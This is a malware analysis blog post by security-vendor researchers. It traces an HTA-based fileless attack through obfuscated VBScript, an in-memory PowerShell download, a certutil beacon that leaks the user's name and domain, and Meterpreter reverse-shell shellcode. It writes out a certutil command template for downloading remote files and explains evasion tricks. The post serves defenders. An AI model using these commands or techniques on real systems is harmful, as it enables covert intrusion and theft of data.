Blog Congratulations, You’ve Won a Meterpreter Shell

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May 17, 2019 Category: Threats By: Alex Holland Comments: 0

Congratulations, You’ve Won a Meterpreter Shell

Posted by Josh Stroschein, Ratnesh Pandey and Alex Holland.

For an attack to succeed undetected, attackers need to limit the creation of file and network artifacts by their malware. In this post, we analyse an attack that illustrates two popular tactics to evade detection:

  1. Avoiding saving file artifacts to disk by running malicious code directly in memory. These have been described as “fileless” attacks.[1]
  2. Using legitimate programs built into an operating system to perform or facilitate malicious functionality, such as code execution, persistence, lateral movement and command and control (C2). The abuse of these programs is known as “living-off-the-land”.[2]

Our attack began with a user clicking on a hyperlink that took them to a website hosting a malicious HTA (HTML Application) file. The HTA file led to the execution of two stages of shellcode that ultimately resulted in a Meterpreter reverse HTTP shell session being established with a C2 server. The attack was successfully contained, however, because Bromium Secure Platform (BSP) isolates risky activities such as opening a web page within a micro-virtual machine. Consequently, the attacker was unable to gain a foothold in the network.

Although the use of HTA files is a well-understood technique to execute malicious code,[3] we thought this attack was worth exploring because of the steps the attacker took to reduce the footprint of the attack. These included executing multiple stages of shellcode directly in memory, applying information gained from reconnaissance of the target to disguise the attacker’s network traffic, and the use of living-off-the-land binaries.

It begins with an HTA file

After clicking the hyperlink, the target is prompted to save a file named sweepstakeApp.hta to disk. If the site is visited using Internet Explorer the target is prompted to run or save the file from their web browser (figure 1). This is significant because HTA files can only be opened directly from Internet Explorer or from Windows Explorer using Microsoft HTML Application Host (mshta.exe), but not from other web browsers. The decision to use an HTA file as the vector to execute the attacker’s code suggests a level of knowledge about how the targeted host was configured, such as the default web browser in use. HTA files allow developers to use the functionality of Internet Explorer’s engine, including its support for scripting languages such as VBScript and JavaScript, without its user interface and security features.[4]

Figure 1 – Prompt to open or save malicious HTA file in Internet Explorer.

The downloaded HTA file contains obfuscated VBScript code, as shown in figure 2. On execution, it launches two commands using powershell.exe and cmd.exe by instantiating a WScript.Shell object that enables scripts to interact with parts of the Windows shell. Meanwhile the user is shown a pop-up window with the supposed results of a gift card sweepstake (figure 3).

Figure 2 – Obfuscated VBScript code in the HTA file.

Figure 3 – Pop-up presenting the decoy application to the user.

The first command downloads an obfuscated PowerShell command from a URL using PowerShell’s WebClient.DownloadString method and then executes it in memory using the alias of the Invoke-Expression cmdlet, IEX.

Figure 4 – PowerShell command that downloads and runs an obfuscated script in memory.

Figure 5 – Obfuscated command downloaded using PowerShell.

Verifying the first stage of the infection

The second command launches a cmd.exe process which then runs certutil.exe, another program built into Windows which is used for managing digital certificates. The utility can also be used to download a file from a remote server. For example, by using the following command an attacker can download a file and save it locally:

certutil.exe -urlcache -split -f [URL] DestinationFile

In this case, however, the provided URL parameter was generated using %USERDOMAIN% and %USERNAME% environment variables on the target system and the destination file is called “null”.

Figure 6 – Certutil command to inform adversary of successful running of HTA file.

Navigating to the URL returns an HTTP 404 status code. Therefore, instead of downloading a file, this command is used to notify the attacker that the HTA file has successfully executed by sending a GET request to a web server controlled by the attacker containing the username and domain of the target host. The attacker can simply monitor their web server logs to determine which users successfully ran the HTA file.

Analysis of the obfuscated PowerShell command

The command downloaded by the PowerShell contains a compressed Base64 encoded string. After decoding and decompressing the string, it reveals another PowerShell command shown in figure 7.

Figure 7 – Deobfuscated PowerShell command.

The command in figure 7 contains an obfuscated string. First, the string is decoded from Base64. The result is then converted into a byte array and stored in a variable called $var_code. Finally, the script enters a For loop that iterates through the byte array and performs a bitwise XOR operation on each byte with a hard-coded value of 35 (base 10).

Figure 8 – For loop performing bitwise XOR operations on the byte array in $var_code.

Following deobfuscation, the output in figure 9 is produced. You can spot several recognisable strings including a web browser user agent, IP address and URL.

Figure 9 – First stage shellcode.

This is the first stage of shellcode, which PowerShell executes in memory using the delegate function VirtualAlloc. The function call allocates memory with a flAllocationType of 3000 (MEM_RESERVED and MEM_COMMIT) and memory protection permissions of PAGE_EXECUTE_READWRITE.

First stage shellcode analysis

Emulating the first stage of shellcode in scdbg reveals its functionality (figure 10). A call to LoadLibraryA is used to load the WinINet module into the process space of the calling process, in this case powershell.exe. WinINet is a standard Windows API that is used by software to communicate with resources on the Internet over HTTP and FTP protocols.

Next a call to InternetOpenA is made to initialise a network connection. This is followed by a call to InternetConnectA, which opens a HTTPS session to a remote server over TCP port 443. Afterwards, a HttpOpenRequestA is called to create a HTTP request to retrieve an object from the server (/pwn32.gif?pwnd=true). Since the lpszVerb parameter is null, the request will use the GET method. Several options are then configured using InternetSetOptionA. Finally, the request is sent in the call to HttpSendRequestA. We can see that a custom user agent string was defined, along with a cookie value:

Cookie: Session 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

The user agent string corresponds to Internet Explorer 11 on Windows 10. Significantly, the user agent string matches the version of Internet Explorer used on the targeted host, which is another indicator of the attacker’s knowledge of the targeted network. By mimicking the user agent string, the network traffic generated by the malware is more likely to blend in with the target organisation’s legitimate traffic.

Figure 10 – First stage shellcode emulated in scdbg.

Decompiling the shellcode confirms the findings of scdbg. The shellcode begins with typical position independent code (PIC) behaviour by calling function sub_88, whose first instruction is to load the top of the stack into the EBP register. This allows for the code to figure out a base address because the CALL instruction places the address of the next instruction onto the stack (figure 11).

Figure 11 – Call to sub_88.

Figure 12 – Popping the value at the top of the stack to EBP.

The malware author used stack strings to generate strings on the stack, although they appear to be used sparingly in the shellcode. This is an easy way of creating and using strings in shellcode, while also making the functionality of the shellcode harder to discover using standard string-finding utilities. Figure 12 shows the use of a stack string, which is used as an argument to a Windows API function call.

Resolving functions is also an important first step for shellcode. Since shellcode doesn’t go through the process of loading as a normal executable, it must resolve function addresses independently. This is often accomplished by using undocumented structures within a process and manually walking the export table of already loaded libraries. In addition, many shellcode authors will avoid using strings to find the functions they need. Instead, they’ll use pre-computed hash values. Their code will then compute the hash value of the library they need functions from and compare the hashes. This is not only a computationally inexpensive way of finding functions, but also complicates analysis as the analyst must correlate the hashes to the functions they represent. Figure 12 demonstrates the use of this technique, in that a seemingly random 4-byte value is pushed onto the stack before the call to EBP. EBP will contain the address of the function responsible for finding the desired function pointers and eventually executing those functions.

Figure 13 – Stack strings.

The call to EBP is the address after the original call instruction. This code begins by obtaining a pointer to the process environment block, or PEB, structure via FS:30h. This structure allows the code to obtain a doubly linked list of all libraries loaded in the process space. Walking this structure allows the code to find the base address of any library, then walk the export table to find function pointers. Therefore, this function is responsible for using the pre-computed hash to find all the functions called throughout the code and will be used repeatedly throughout.

If unfamiliar with how shellcode uses the PEB structure and parses the portable executable (PE) file format to find function pointers, it’s worth spending some time analysing this function. However, there is no need to get lost in this function for the purposes of this analysis. Instead, evidence of a non-standard function return can help determine when the function is done and allow an analyst to focus on tracing through the shellcode effectively. In this shellcode there is a non-standard return at the end – which is a JMP EAX (figure 14).

Figure 14 – Non-standard return.

At this point, the code is going to JMP into whatever function was resolved. You can use this function to help identify the functions called throughout the code.

Figure 15 – Function to resolve API names.

Further functions are called through the calls to EBP, with the appropriate arguments being placed on the stack before the call. This shellcode carries out the task of creating an HTTP reverse shell. To do that, it will use many core HTTP functions found within the WinINet library. This is in fact shellcode for the first stage of a Meterpreter reverse HTTP shell payload.[5] The default behaviour of a Metasploit reverse shell comes in two stages. The first, analysed above, functions as a downloader which grabs the second stage, which is the Meterpreter payload.

Functions used in this shellcode:

  • LoadLibrary(WinINet)
  • InternetOpenA
  • InternetConnectA
  • HttpOpenRequestA
  • InternetSetOptionA
  • HttpSendRequestA
  • GetDesktopWindow
  • InternetErrorDlg
  • VirtualAllocStub
  • InternetReadFile

Figure 16 – Process interaction graph as viewed in Bromium Controller.

Figure 17 – High severity events generated during the life cycle of this threat.


Endpoints that are running Bromium are protected from this threat because every user task, such as running an HTA file, is run in its own isolated micro-virtual machine or μVM. When the user closes a μVM, the virtual machine is destroyed along with the malware. The trace of threat data from the attack is recorded and presented in the Bromium Controller, enabling security teams to quickly gain detailed insights into the threats facing their organisations.



About the Author

Alex Holland

Alex Holland
Malware Analyst

Recent Techinical Blog Posts

2019-06-10T18:52:16-07:00May 17th, 2019|Threats|

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